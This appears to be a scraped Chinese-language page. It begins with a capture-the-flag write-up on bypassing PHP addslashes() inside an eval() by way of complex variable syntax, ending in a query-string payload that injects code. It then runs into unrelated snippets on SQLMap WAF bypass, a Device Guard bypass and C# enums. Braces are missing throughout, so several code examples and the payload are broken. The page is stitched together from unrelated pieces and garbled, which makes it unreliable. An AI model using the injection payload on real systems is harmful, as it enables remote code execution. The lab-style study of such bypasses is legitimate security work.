addslashes ( string $str ) : string簡單的說,就是在傳入的字串的單引號,雙引號,反斜線和空字元前加反斜線轉義使用反斜線引用字串
返回字串,該字串為了資料庫查詢語句等的需要在某些字元前加上了反斜線。這些字元是單引號(』)、雙引號(")、反斜線(\)與 nul(null 字元)。
先看看題目**:
<?php
highlight_file(__file__);
$str=@(string)$_get['str'];
eval('$str="'.addslashes($str).'";');
這裡使用雙引號包裹addslashes($str),看起來沒有問題,因為如果我們試圖傳入雙引號時會被addslashes給新增乙個反斜線轉義
再看看php中單引號和雙引號的區別
單引號:
其中的內容不會經過解釋(\n不會輸出為換行,而是直接輸出),即內容會與輸入的內容一致
$a = 1;
echo 'a is $a';
result: a is $a
雙引號:
雙引號中的內容將會被解釋,即解析內容中的變數
$a = 1;
echo "a is $a";
result: a is 1
還有就是,如果雙引號中插入單引號,單引號中的變數也會被解釋
$a = 1;
echo "'a is $a'";
result: 'a is 1'
再來看看php中的複雜變數
由上面知道,php在雙引號中可以解析變數
而解析變數共有兩種語法規則:一種簡單規則,一種複雜規則。
複雜規則:
任何具有string表達的標量變數,陣列單元或物件屬性都可使用此語法。只需簡單地像在string以外的地方那樣寫出表示式,然後用花括號把它括起來即可。由於 中使用。然而,只有在該字串被定義的命名空間中才可以將其值作為變數名來訪問。只單一使用花括號 ({})無法處理從函式或方法的返回值或者類常量以及類靜態變數的值。這是php手冊中的描述。
簡單的說,我們要在雙引號中使用變數,那麼變數名怎麼定界
比如:
$abc=1;
echo "$abcd";
這裡我想輸出的是1d,而php會將$abcd當成乙個變數,所以就可以使用{}來定界我們的變數
$abc=1;
echo "$d";
也就是說 {}為變數名定義了乙個邊界。也就是說」}」和」$」效果是一樣的。
再來看看php中的變數的定義
通常乙個變數的定義必須是以下劃線或者英文本母開頭,且變數名只能包含下劃線字母和數字。這是常規的定義變數的辦法,但php中還可以接受函式的返回值作為變數名
比如:
var_dump($=123);
var_dump($a=123);
result:int(123) int(123)
前面的$的命名步驟:
① 先執行phpinfo()
② 將phpinfo()的返回值作為變數名定義變數
③ 變數賦值為123
乙個例子就能看清本質:
$test = "hello world";
function a()
echo "$";
result: hello world
到這裡,我們的題目答案就呼之欲出了
payload:?str=$&1=phpinfo();
參考:
如何使用SQLMap繞過WAF
author bugcx or anonymous waf web應用防火牆 逐漸成為安全解決方案的標配之一。正因為有了它,許多公司甚至已經不在意web應用的漏洞。遺憾的是,並不是所有的waf都是不可繞過的!本文將向大家講述,如何使用注入神器sqlmap繞過wafs idss。我們關注的重點在於使用...
如何使用CHM 繞過Device guard
本文講的是如何使用chm 繞過device guard,在過去6個月裡,利用業餘時間我進行了一些安全研究,因為我覺得很有趣。在此期間,我很幸運地找到了另乙個有效的device guard umci旁路 我發現了 並將其報告給了microsoft安全響應中心。在與msrc進行交流後,他們告訴我,這已經...
變數的更多內容 複雜的變數型別 列舉
到目前為止,介紹的都是c 提供的簡單變數型別。還有3個略複雜 但非常有用 的變數,如下所示 列舉 結構 陣列今天主講列舉,每種型別 除了string外 都有明確的取值範圍。誠然,有些型別 如double 的取值範圍非常大,可以看作是連續的,但其中的數值總是固定的。最簡單的示例是bool型別,它只有t...